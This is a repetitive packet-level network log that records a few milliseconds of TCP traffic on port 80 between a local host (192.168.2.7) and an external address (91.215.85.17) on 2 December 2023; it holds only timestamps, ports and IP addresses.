Dec 2, 2023 18:01:43.643743992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643750906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643758059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643769026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643776894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643785954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643796921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643804073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643810987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643822908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643827915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.643827915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.643827915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.643832922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643841982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643853903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643861055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643868923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643876076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643882036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643888950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643913984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.643913984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.643913984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.643925905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643934011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643944025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643950939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643958092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643966913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643978119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.643978119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.643995047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644018888 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644018888 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644083023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644095898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644103050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644115925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644128084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644134998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644144058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644151926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644160032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644167900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644201040 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644201040 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644201040 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644220114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644227028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644233942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644247055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644253969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644259930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644267082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644273996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644325972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644325972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644326925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644346952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644355059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644366026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644376993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644383907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644391060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644397974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644437075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644437075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644467115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644475937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644483089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644495964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644503117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644510031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644516945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644524097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644530058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644536972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644546032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644556999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644568920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644568920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644598961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644608021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644615889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644628048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644821882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644829035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644840956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644851923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644860029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644866943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644875050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644889116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644891024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644891024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644891024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644896984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644906044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644912958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644917965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644922972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644932032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644942999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644949913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644958019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644964933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644970894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644978046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.644978046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644978046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.644995928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645000935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645009995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645016909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645019054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645028114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645030975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645212889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645246029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645257950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645266056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645275116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645283937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645292044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645303011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645311117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645317078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645327091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645334005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645340919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645344019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645344019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645344973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645350933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645359039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645360947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645369053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645376921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645376921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645386934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645394087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645401001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645409107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645416975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645423889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645423889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645423889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645431995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645437956 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645441055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645457983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645467043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645474911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645514965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645514965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645515919 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645534039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645541906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645548105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645560980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645569086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645576000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645582914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645595074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645602942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645620108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645620108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645629883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645658016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645806074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645813942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645821095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645833015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645840883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645848036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645859003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645867109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645874023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645880938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645936012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645936012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645936012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.645941019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645955086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645962000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645971060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645977974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.645989895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646001101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646007061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646018982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646028996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646035910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646044970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646044016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646044016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646044016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646054983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646064997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646071911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646079063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646086931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646087885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646195889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646195889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646195889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646243095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646250963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646258116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646264076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646270990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646277905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646285057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646291971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646295071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646300077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646307945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646315098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646317005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646322966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646331072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646337032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646348000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646359921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646456003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646465063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646471977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646486044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646492958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646538019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646538019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646538019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646589041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646595955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646603107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646610975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646619081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646625996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646634102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646640062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646641970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646650076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646660089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646672010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646677971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646684885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646692038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646699905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646699905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646752119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646752119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646771908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646785021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646790981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646805048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646811008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646819115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646869898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646869898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.646900892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646909952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646918058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646934032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646943092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646950960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646960974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.646969080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647034883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647034883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647034883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647119999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647129059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647136927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647150040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647156954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647165060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647177935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647186995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647195101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647207022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647213936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647221088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647232056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647236109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647236109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647236109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647242069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647269964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647278070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647285938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647293091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647300005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647308111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647320986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647321939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647321939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647321939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647330046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647337914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647346020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647352934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647360086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647361994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647370100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647406101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647406101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647418976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647428036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647435904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647443056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647450924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647458076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647470951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647478104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647488117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647499084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647506952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647532940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647532940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647532940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647564888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647572994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647581100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647593021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647638083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647663116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647675037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647681952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647694111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647702932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647711039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647721052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647727966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647733927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647735119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647770882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647794008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.647798061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.647809029 CET	80	49713	91.215.85.17	192.168.2.7
